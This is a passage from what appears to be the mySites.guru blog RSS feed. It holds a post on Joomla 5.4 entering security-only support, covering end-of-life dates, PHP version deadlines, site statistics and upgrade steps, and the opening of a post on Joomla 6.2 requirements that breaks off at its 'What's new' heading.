</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>eventgallery</category><category>vulnerability</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/event-gallery-6-6-0-security-release.png" length="0" type="image/png"/></item><item><title>Joomla 5.4 Is Security-Only Since 13 October 2026</title><link>https://mysites.guru/blog/joomla-5-4-end-of-support-dates/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-5-4-end-of-support-dates/</guid><description>Joomla 5.4 bug fixes ended 13 October 2026 and security fixes end 12 October 2027. What changed, the PHP 8.2 deadline that comes first, and planning Joomla 6.</description><pubDate>Sat, 03 Oct 2026 12:20:50 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 stopped getting bug fixes on 13 October 2026 and stops getting security fixes on 12 October 2027. The Joomla Project restated both dates in its &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;5.4.9 and 6.1.4 release announcement&lt;/a&gt; on 29 September: “We’ll support Joomla 5.4.x until 13 October 2026 with bugfix patches and until 12 October 2027 with security patches.” The same dates are on the &lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla developer roadmap&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;5.4 is the last Joomla 5 minor release, so 12 October 2027 is the end of life for Joomla 5 as a whole. In the mySites.guru database, Joomla 5.4 is the most common Joomla version of all, ahead of Joomla 6.1 and Joomla 3.10. This post covers what changes on each date, what our data shows about the sites affected, and the deadline that most 5.4 sites will hit before either Joomla date: their PHP version.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13 Oct 2026&lt;/div&gt;&lt;div&gt;Joomla 5.4 bug fixes end&lt;/div&gt;&lt;div&gt;5.4.10 shipped that day, with no security fixes&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;12 Oct 2027&lt;/div&gt;&lt;div&gt;Joomla 5 end of life&lt;/div&gt;&lt;div&gt;Last day of 5.4 security fixes&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;16 Oct 2029&lt;/div&gt;&lt;div&gt;Joomla 6 end of life&lt;/div&gt;&lt;div&gt;Bug fixes end 17 October 2028&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Dates from the Joomla developer roadmap and the 29 September 2026 release announcement.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What changed for Joomla 5.4 sites on 13 October 2026?&lt;/h2&gt;
&lt;p&gt;Since 13 October 2026, Joomla 5.4 gets security fixes only. Joomla will keep publishing 5.4.x patch releases until 12 October 2027, but only when there is a security issue to fix. General bugs, regressions and most compatibility problems found after that date get fixed in Joomla 6 and nowhere else. &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-5-4-10-bugfix-release.html&quot;&gt;Joomla 5.4.10&lt;/a&gt; shipped on 13 October itself, the same day as &lt;a href=&quot;https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/&quot;&gt;Joomla 6.2.0&lt;/a&gt;, and is very likely the last 5.4 release with general bug fixes in it. It has no security fixes, as the Joomla Security Strike Team told us beforehand. Apply it at your normal pace, and keep every 5.4 site current so the next 5.4.x security release is a single step.&lt;/p&gt;
&lt;p&gt;The first practical change is the release rhythm: through the bug fix year, 5.4.x shipped roughly every six weeks, from 5.4.0 on 14 October 2025 to 5.4.9 on 29 September 2026. Joomla 4.4’s security-only year had five releases at irregular intervals (January, February, March, April and September 2025), each one shipped when a security fix was ready. Expect 5.4 to behave the same way.&lt;/p&gt;
&lt;p&gt;The second is that a broken release stays broken for longer. Joomla 5.4.9 shipped with a &lt;a href=&quot;https://manual.joomla.org/updates/53-54/known-issues/5.4.9/&quot;&gt;known issue&lt;/a&gt; that makes Web Services API edit requests fail with a fatal error, which we covered in the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;5.4.9 security release post&lt;/a&gt;. The fix (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48527&quot;&gt;#48527&lt;/a&gt;) made it into 5.4.10, just inside the window. The next regression of that kind, like the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/&quot;&gt;5.4.8 template manager breakage&lt;/a&gt; or the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;5.4.7 article options bug&lt;/a&gt;, may not get a 5.4 fix at all.&lt;/p&gt;
&lt;p&gt;The rule is not absolute. Joomla 4.4.11, released during its security-only year, included a fix for namespace map creation on PHP 8.4. But a compatibility fix in a security release is a bonus, and no one should plan a site’s future around one.&lt;/p&gt;
&lt;h2&gt;Joomla 5.4 is the whole of Joomla 5 now&lt;/h2&gt;
&lt;p&gt;Joomla ships four minor releases per major version, and the fourth is a “bridge” release. The &lt;a href=&quot;https://manual.joomla.org/docs/development-strategy/software-release-cycle/&quot;&gt;software release cycle&lt;/a&gt; says you can only upgrade to the next major version from the x.4 release, and “after the x.4.0 release date, we are fixing bugs for one year and making security fixes for two years”. 5.4.0 shipped on 14 October 2025, which is where both dates come from.&lt;/p&gt;
&lt;p&gt;Only the newest minor release in a series is supported, so Joomla 5.0, 5.1, 5.2 and 5.3 are already unsupported. Of the Joomla 5 sites in the mySites.guru database, 2.9% are still on one of those older minors. They have no security support today and no direct route to Joomla 6, because a site has to reach 5.4 before the Joomla 6 upgrade is offered.&lt;/p&gt;
&lt;p&gt;5.4 also exists to make the next step smaller. It backports the Joomla 6 API changes, and it ships the “Behaviour - Backward Compatibility 6” plugin, which does nothing on 5.4 except exist and be enabled, so that extensions relying on it keep working on the day a site moves to Joomla 6. We have written about why that plugin is &lt;a href=&quot;https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/&quot;&gt;a crutch rather than a fix&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How many Joomla sites are still on Joomla 5?&lt;/h2&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru that reported in during the week to 3 October 2026, 38.3% run Joomla 5, and nearly all of those (97.1%) are on 5.4. Joomla 6 accounts for 29.4%. Joomla 5 is still the larger group, a year after Joomla 6.0 shipped and ten days before Joomla 5 went security-only.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38.3%&lt;/div&gt;&lt;div&gt;of Joomla sites run Joomla 5&lt;/div&gt;&lt;div&gt;97.1% of those are on 5.4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;29.4%&lt;/div&gt;&lt;div&gt;of Joomla sites run Joomla 6&lt;/div&gt;&lt;div&gt;Almost all on 6.1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;6.3%&lt;/div&gt;&lt;div&gt;still run Joomla 4&lt;/div&gt;&lt;div&gt;A year after its security support ended&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;25.4%&lt;/div&gt;&lt;div&gt;still run Joomla 3&lt;/div&gt;&lt;div&gt;Three years after its end of life&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Share of Joomla sites connected to mySites.guru that reported a snapshot in the seven days to 3 October 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The last two figures are what makes the 2027 date worth taking seriously now. Joomla 4.4’s security support ended on 14 October 2025, almost exactly a year ago, and one Joomla site in sixteen in our data is still on it. Joomla 3 has been through &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;the same pattern&lt;/a&gt; for three years, and a quarter of the Joomla sites we see still run it. If Joomla 5 follows Joomla 4, a meaningful share of today’s 5.4 sites will still be on 5.4 in October 2027, and some will still be there a year after that.&lt;/p&gt;
&lt;p&gt;Most of those sites were kept on an old version because the upgrade was never booked, and it was never booked because nothing visibly broke on the day support ended. End of life is a non-event on the day and a growing liability afterwards: every later Joomla security release publishes a fix for a flaw the old version still has. We made the agency version of that argument in &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 didn’t fail, your retainer did&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The PHP deadline comes before Joomla’s&lt;/h2&gt;
&lt;p&gt;Joomla 5.4 supports PHP 8.1 and newer, with 8.3 recommended, per its &lt;a href=&quot;https://manual.joomla.org/docs/5.4/get-started/technical-requirements/&quot;&gt;technical requirements&lt;/a&gt;. PHP has its own calendar, published on &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;php.net&lt;/a&gt;, and it does not line up with Joomla’s:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;PHP version&lt;/th&gt;&lt;th&gt;Security support ends&lt;/th&gt;&lt;th&gt;Joomla 5.4 sites in our data&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;Ended 31 December 2025&lt;/td&gt;&lt;td&gt;2.5%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;td&gt;31 December 2026&lt;/td&gt;&lt;td&gt;24.8%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;31 December 2027&lt;/td&gt;&lt;td&gt;43.6%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;31 December 2028&lt;/td&gt;&lt;td&gt;22.9%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.5&lt;/td&gt;&lt;td&gt;31 December 2029&lt;/td&gt;&lt;td&gt;5.9%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;More than a quarter (27.3%) of the Joomla 5.4 sites in the mySites.guru database run PHP 8.1 or 8.2. For those sites the real deadline is 31 December 2026, ten months before Joomla 5’s, because that is when PHP 8.2 stops getting security fixes. A Joomla core that is still patched does not help much on a PHP runtime that is not.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Move 5.4 sites to PHP 8.3 first&lt;/p&gt;&lt;div&gt;&lt;p&gt;PHP 8.3 is the cheapest single fix on this list. It is supported until 31 December 2027, which outlasts Joomla 5, and it is the minimum PHP version for Joomla 6. Doing it while the site is still on 5.4 means the PHP change and the Joomla 6 change happen months apart, so when something breaks you know which change caused it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The other 72.4% are already on PHP 8.3 or newer and meet the Joomla 6 PHP minimum today. For them the remaining questions are the database version and the extensions. &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; has the full table, and &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;why PHP 8.5.7 can show amber while 8.4.24 shows green&lt;/a&gt; explains how mySites.guru grades PHP branches and patch levels.&lt;/p&gt;
&lt;h2&gt;Why not wait until October 2027 to move to Joomla 6?&lt;/h2&gt;
&lt;p&gt;Because the security date is the last possible day, not the planning date. Most sites will be pushed off Joomla 5 well before October 2027, whether or not anyone plans for it.&lt;/p&gt;
&lt;p&gt;Extension vendors set their own dates, and they tend to come first. J2Commerce has already set the end of life for J2Store 4, which runs on Joomla 4 and 5, at 19 October 2027, and its current line runs on Joomla 6 only, as we covered in the &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 end of life post&lt;/a&gt;. Smaller projects are following: the Proclaim Bible study component has a public &lt;a href=&quot;https://github.com/Joomla-Bible-Study/Proclaim/issues/1966&quot;&gt;issue to drop Joomla 5 support&lt;/a&gt; around Joomla 5’s end of life. Once an extension a site depends on stops shipping Joomla 5 builds, its Joomla 5 support date no longer matters.&lt;/p&gt;
&lt;p&gt;New Joomla features only go into Joomla 6. 5.4 was a bridge release with no new features of its own, so everything in the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 release&lt;/a&gt; stays on the newer branch. One example with security weight: from 6.1 you can &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;force MFA for Super Users&lt;/a&gt;, and that option is not coming back to Joomla 5. Clients notice a missing feature long before they notice a support date.&lt;/p&gt;
&lt;p&gt;October 2027 is also going to be a crowded month. Joomla’s release policy puts a new major version in October of every odd-numbered year, so Joomla 7.0 and Joomla 6.4 are due around the same time Joomla 5 support ends. Every agency that left its Joomla 5 sites until the last quarter will be doing the same upgrades, against the same extension vendors’ support queues, at the same time.&lt;/p&gt;
&lt;p&gt;Our view, after watching the Joomla 3 and Joomla 4 deadlines pass: move Joomla 5.4 sites to Joomla 6 during the next six months, while 5.4 is still patched and before PHP 8.2 runs out. A site that moves now is supported until 16 October 2029, two more years of security fixes than one that waits. There is no extended support for Joomla 5 to fall back on. Joomla’s paid &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;extended support for Joomla 3&lt;/a&gt; ended in February 2025, nothing equivalent was offered for Joomla 4, and nothing has been announced for Joomla 5.&lt;/p&gt;
&lt;h2&gt;How mySites.guru tracks Joomla 5.4 sites through the change&lt;/h2&gt;
&lt;p&gt;Everything below is part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt;, and it works the same across five Joomla 5 sites or five hundred.&lt;/p&gt;
&lt;h3&gt;Which Joomla 5 sites are ready for Joomla 6?&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements tool&lt;/a&gt; lists all your connected Joomla 4, 5 and 6 sites on one screen, with the installed Joomla version, the update channel, the PHP version and the database type and version. Each PHP and database value is colour-coded against Joomla 6’s minimum (PHP 8.3.0, MySQL 8.0.13, MariaDB 10.4) and recommended versions, so the sites needing a PHP or database upgrade before anything else are obvious at a glance. Press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;6&lt;/code&gt; anywhere in mySites.guru to jump straight to it.&lt;/p&gt;
&lt;h3&gt;Keeping 5.4 sites on the current patch&lt;/h3&gt;
&lt;p&gt;The security-only releases still matter, and they only protect sites that install them. On 3 October, before 5.4.10 shipped, 26.9% of Joomla 5.4 sites in our data were behind the then-current 5.4.9 release. mySites.guru’s “Joomla CMS Version Must Be Up-to-date” check, one of the &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/&quot;&gt;Joomla configuration checks&lt;/a&gt;, shows any site not on the latest patch for its branch in red, and the bulk upgrade applies 5.4.10, and every 5.4.x security release after it, to all your out-of-date 5.4 sites in one action. If you prefer it hands-off, mySites.guru’s automatic core upgrade settings can be set to patch releases only, which keeps 5.4 sites patched without ever starting a major upgrade.&lt;/p&gt;
&lt;p&gt;Joomla’s own &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt;, a free service run by the Joomla Project, also handle patch and minor releases from 5.4 onwards. The Joomla Project’s 6.1 announcement states they do not move a site across a major version, so they will never take a 5.4 site to Joomla 6 on their own.&lt;/p&gt;
&lt;h3&gt;The two backward compatibility plugins&lt;/h3&gt;
&lt;p&gt;The Joomla 5 to 6 upgrade depends on two plugins being in the right state. The old Joomla 4 to 5 plugin, “Behaviour - Backward Compatibility”, must be disabled before the upgrade, and “Behaviour - Backward Compatibility 6” should stay enabled until every extension runs without it. mySites.guru reports the state of both plugins on each connected site as part of its &lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/&quot;&gt;extension checks&lt;/a&gt;, so the sites with the old plugin still switched on show up before an upgrade fails.&lt;/p&gt;
&lt;h3&gt;Checking extension support across every site&lt;/h3&gt;
&lt;p&gt;The extension inventory records each extension and its version on all your connected sites. Searching for an extension returns the sites it is installed on, which is how you find out, before booking the work, which Joomla 5 sites depend on something with no Joomla 6 release. The audit then flags any installed extension version with a known vulnerability, and that matters more on a branch that is no longer getting general fixes.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check whether your Joomla version is current&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs on every snapshot, twice a day.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How to upgrade Joomla 5.4 to Joomla 6&lt;/h2&gt;
&lt;p&gt;The Joomla Project calls this an upgrade rather than a migration, and for a site with well-maintained extensions it usually is. Its own &lt;a href=&quot;https://guide.joomla.org/user-manual/migration/joomla-5-to-6-planning-and-upgrade-step-by-step&quot;&gt;step-by-step planning and upgrade guide&lt;/a&gt; covers the details. The order that causes the fewest surprises:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Update to the latest Joomla 5.4.x and take a full backup. Joomla 6 is only reachable from 5.4.&lt;/li&gt;
&lt;li&gt;Move PHP to 8.3 or newer while still on 5.4, and test. If the database is below MySQL 8.0.13 or MariaDB 10.4, sort that out at the same time.&lt;/li&gt;
&lt;li&gt;Check every extension and template for a Joomla 6 release. Update to it while still on 5.4 where the vendor ships one package for both, and plan replacements for anything abandoned.&lt;/li&gt;
&lt;li&gt;Disable “Behaviour - Backward Compatibility”, the Joomla 4 to 5 plugin. Leave “Behaviour - Backward Compatibility 6” enabled.&lt;/li&gt;
&lt;li&gt;Switch the update channel to Joomla Next in the Joomla Update options, and work through the Pre-Update Check’s required settings, recommended settings and extension list. If the server is below Joomla 6’s requirements, the upgrade option does not appear at all.&lt;/li&gt;
&lt;li&gt;Upgrade, test, then set the channel back to Default. Leaving a site on Joomla Next is how it ends up on Joomla 7 by accident, and &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;preventing accidental Joomla version jumps&lt;/a&gt; covers the channel settings.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After the upgrade, check whether the site still needs the Backward Compatibility 6 plugin. Every extension that still relies on it will break on the way to Joomla 7, so finding them now is cheaper than finding them in 2027. If disabling the old plugin before the upgrade throws an error such as Class “JPlugin” not found, our guide to &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/&quot;&gt;fixing Class “JPlugin” not found&lt;/a&gt; shows how to find the extension and get the site back.&lt;/p&gt;
&lt;p&gt;For the wider process of running core upgrades across many sites, including staging, backups and rollback, see our guide to &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;. For a look at your own sites first, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;, or compare the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;plans&lt;/a&gt; if you want the Joomla 6 readiness view across every site you manage.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2023-08-17&lt;/strong&gt; Joomla 3 reaches end of life Free security support ends. A paid extended support programme runs until 17 February 2025, and then nothing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2023-10-17&lt;/strong&gt; Joomla 5.0 and Joomla 4.4 released Joomla 4.4 becomes the bridge release for the Joomla 4 to 5 upgrade.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-10-14&lt;/strong&gt; Joomla 4.4 security support ends The last Joomla 4 release was 4.4.14 on 30 September 2025. Joomla 6.0 and Joomla 5.4 ship the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; Joomla 5.4.9 and 6.1.4 released Sixteen core security fixes. The release announcement confirms the two Joomla 5.4 support dates.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-13&lt;/strong&gt; Joomla 5.4 bug fix support ends Joomla 5.4.10 and Joomla 6.2.0 were both released on this day, with no security fixes in either. 5.4.10 is the last planned 5.4 bug-fix release. From here, 5.4.x releases ship only when there is a security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-12-31&lt;/strong&gt; PHP 8.2 security support ends Joomla 5.4 still runs on it, but PHP itself stops getting fixes ten months before Joomla 5 does.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2027-10-12&lt;/strong&gt; Joomla 5 end of life The last day of Joomla 5.4 security fixes. Joomla&apos;s release policy also puts Joomla 7.0 in October 2027, though no date has been published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2029-10-16&lt;/strong&gt; Joomla 6 end of life Bug fixes for Joomla 6 end on 17 October 2028, security fixes a year later.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 6.1.4 &amp;amp; 5.4.9 Security &amp;amp; Bugfix Release&lt;/a&gt; - the Joomla Project&apos;s announcement confirming both Joomla 5.4 support dates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla! Roadmap&lt;/a&gt; - the official end of bug fix and security support dates for Joomla 5 and Joomla 6.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/development-strategy/software-release-cycle/&quot;&gt;Software release cycle&lt;/a&gt; - why the x.4 release is the bridge, and the one-year and two-year support rule behind the dates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/migration/joomla-5-to-6-planning-and-upgrade-step-by-step&quot;&gt;Joomla 5 to 6 planning and upgrade, step by step&lt;/a&gt; - Joomla&apos;s own upgrade walkthrough, including the Pre-Update Check.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;PHP supported versions&lt;/a&gt; - the PHP end of life dates, including PHP 8.2 on 31 December 2026.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 5</category><category>joomla 6</category><category>end-of-life</category><category>updates</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/joomla-5-4-end-of-support-dates.png" length="0" type="image/png"/></item><item><title>Joomla 6.2 Is Out: Requirements, Changes and Which Sites Can Take It</title><link>https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-2-requirements-changes-extension-compatibility/</guid><description>Joomla 6.2.0 shipped on 13 October 2026 with the 6.1 requirements, no documented breaking changes and no security fixes. What is new and which sites can update.</description><pubDate>Sat, 03 Oct 2026 12:10:26 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla project &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-2-is-here.html&quot;&gt;released Joomla 6.2.0&lt;/a&gt; on &lt;strong&gt;13 October 2026&lt;/strong&gt;, on the date it had planned. &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/5.4.10&quot;&gt;Joomla 5.4.10&lt;/a&gt; came out the same day, with bug fixes only.&lt;/p&gt;
&lt;p&gt;For anyone looking after a portfolio of client sites, 6.2 should be a straightforward update to apply. The server requirements are the same as 6.1, the official upgrade notes list no backward compatibility breaks, and the new features are mostly in the editor, content layout and mail. 6.2.0 has no security fixes, as the Joomla Security Strike Team told us before release, but the next Joomla 6 security release will be a 6.2.x, so your sites need to be on 6.2 before it arrives. The real question is which of your sites can take it, and the answer depends more on PHP versions and Joomla 5.4 stragglers than on anything in 6.2.&lt;/p&gt;
&lt;p&gt;mySites.guru answers the server side of that question on one page. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility Checker&lt;/a&gt; (press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;6&lt;/code&gt; anywhere in the dashboard) lists every connected Joomla 4, 5 and 6 site with its PHP version, database version, update channel and the state of the Backward Compatibility 6 plugin, each colour-coded against the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt;. The figures below come from the same data, across all Joomla sites connected to mySites.guru that took a snapshot in the last 30 days.&lt;/p&gt;
&lt;h2&gt;When was Joomla 6.2 released?&lt;/h2&gt;
&lt;p&gt;Joomla 6.2.0 shipped on 13 October 2026, after three alphas, three betas and two release candidates. Feature freeze came with Beta 1 on 18 August and language freeze with RC1 on 29 September, and the schedule held all the way to the stable release.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Milestone&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Alpha 1&lt;/td&gt;&lt;td&gt;26 May 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alpha 2&lt;/td&gt;&lt;td&gt;23 June 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alpha 3&lt;/td&gt;&lt;td&gt;21 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 1 (feature freeze)&lt;/td&gt;&lt;td&gt;18 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 2&lt;/td&gt;&lt;td&gt;1 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta 3&lt;/td&gt;&lt;td&gt;15 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RC1 (language freeze)&lt;/td&gt;&lt;td&gt;29 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RC2&lt;/td&gt;&lt;td&gt;6 October 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Stable&lt;/td&gt;&lt;td&gt;13 October 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;13 October was also a date for Joomla 5. The &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 5.4.9 announcement&lt;/a&gt; confirms that 5.4.x gets bug fixes until 13 October 2026 and security fixes until 12 October 2027. So on the day 6.2 arrived, every Joomla 5 site moved to &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;security-only support&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Joomla 6.1 is also affected. The &lt;a href=&quot;https://manual.joomla.org/docs/development-strategy/software-release-cycle/&quot;&gt;Joomla software release cycle&lt;/a&gt; says a minor release goes out of support when the next minor is published, so 6.1 went out of support on 13 October. The next 6.x security fix will ship as a 6.2.x release, not 6.1.5, so staying on 6.1 is not an option for long. 6.2.0 itself has no security fixes, but every 6.x security fix after it will ship for 6.2 only. Joomla 5.4 is still in its security support window, and &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/tag/5.4.10&quot;&gt;5.4.10&lt;/a&gt; is its current release.&lt;/p&gt;
&lt;h2&gt;Joomla 6.2 technical requirements are unchanged from 6.1&lt;/h2&gt;
&lt;p&gt;Joomla 6.2 needs exactly what Joomla 6.1 needs. The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;official requirements page&lt;/a&gt; covers 6.1 and 6.2 in a single table:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Software&lt;/th&gt;&lt;th&gt;Minimum&lt;/th&gt;&lt;th&gt;Recommended&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;8.3.0&lt;/td&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;8.0.13&lt;/td&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.4&lt;/td&gt;&lt;td&gt;12.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PostgreSQL&lt;/td&gt;&lt;td&gt;12.0&lt;/td&gt;&lt;td&gt;17.6&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A site that runs Joomla 6.1 today meets the 6.2 requirements by definition. In our data, every Joomla 6 site reports PHP 8.3 or newer, and 38.5% are on 8.3 exactly, the minimum, with 8.4 recommended. A small number run Joomla 6 on MySQL 5.7 or MariaDB 10.3, below the documented minimum. They work today, but Joomla does not test against those versions, and the &lt;a href=&quot;https://mysites.guru/blog/mariadb-vs-mysql-joomla-wordpress-sites/&quot;&gt;MariaDB and MySQL picture across our sites&lt;/a&gt; explains why so many databases have drifted out of support.&lt;/p&gt;
&lt;h2&gt;What’s new in Joomla 6.2&lt;/h2&gt;
